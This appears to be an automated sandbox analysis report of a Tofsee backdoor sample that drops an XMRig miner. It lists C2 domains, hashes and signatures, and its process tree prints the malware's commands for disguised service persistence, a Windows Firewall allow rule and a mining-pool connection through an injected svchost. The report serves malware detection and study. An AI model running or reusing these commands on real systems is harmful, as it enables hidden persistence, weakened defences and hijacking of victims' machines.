Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/10/2022, 16:56

General

  • Target
    file.exe
  • Size 261KB
  • Sample221027-vfpblschgr
  • SHA256 0a54530b720fd7e81e6ea117ebad048f263688fa904f637a5e695e6fd43c2df6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2144
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rzbcaeln\
      2⤵
        PID:4808
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\taaefpzk.exe" C:\Windows\SysWOW64\rzbcaeln\
        2⤵
          PID:4732
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rzbcaeln binPath= "C:\Windows\SysWOW64\rzbcaeln\taaefpzk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rzbcaeln "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2168
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rzbcaeln
          2⤵
          • Launches sc.exe
          PID:3460
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4132
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2144 -s 1032
          2⤵
          • Program crash
          PID:4624
      • C:\Windows\SysWOW64\rzbcaeln\taaefpzk.exe
        C:\Windows\SysWOW64\rzbcaeln\taaefpzk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4308
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3464
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4088
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 540
          2⤵
          • Program crash
          PID:772
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2144 -ip 2144
        1⤵
          PID:4468
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4308 -ip 4308
          1⤵
            PID:1888

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                taaefpzk.exe

                • Path C:\Users\Admin\AppData\Local\Temp\taaefpzk.exe
                • Size 11.8MB
                • SHA256 4b096a8fe07ecc46dae93d1f6599073774cc01b490be1b5b471aa4ccbdb3c342
                • MD5 SHA1 SHA512 SSDEEP

                taaefpzk.exe

                • Path C:\Windows\SysWOW64\rzbcaeln\taaefpzk.exe
                • Size 11.8MB
                • SHA256 4b096a8fe07ecc46dae93d1f6599073774cc01b490be1b5b471aa4ccbdb3c342
                • MD5 SHA1 SHA512 SSDEEP

                memory/2144-133-0x0000000002D80000-0x0000000002D93000-memory.dmp

                memory/2144-132-0x0000000002E37000-0x0000000002E4C000-memory.dmp

                memory/2144-135-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/2144-144-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/2144-143-0x0000000002E37000-0x0000000002E4C000-memory.dmp

                memory/3464-146-0x0000000000830000-0x0000000000845000-memory.dmp

                memory/3464-162-0x00000000029D0000-0x00000000029D5000-memory.dmp

                memory/3464-168-0x00000000029E0000-0x00000000029E7000-memory.dmp

                memory/3464-165-0x0000000007400000-0x000000000780B000-memory.dmp

                memory/3464-159-0x0000000001BB0000-0x0000000001BC0000-memory.dmp

                memory/3464-156-0x0000000001BA0000-0x0000000001BA6000-memory.dmp

                memory/3464-153-0x0000000002400000-0x000000000260F000-memory.dmp

                memory/3464-151-0x0000000000830000-0x0000000000845000-memory.dmp

                memory/3464-152-0x0000000000830000-0x0000000000845000-memory.dmp

                memory/4088-172-0x0000000000EA0000-0x0000000000F91000-memory.dmp

                memory/4088-177-0x0000000000EA0000-0x0000000000F91000-memory.dmp

                memory/4308-150-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/4308-149-0x0000000002FE2000-0x0000000002FF7000-memory.dmp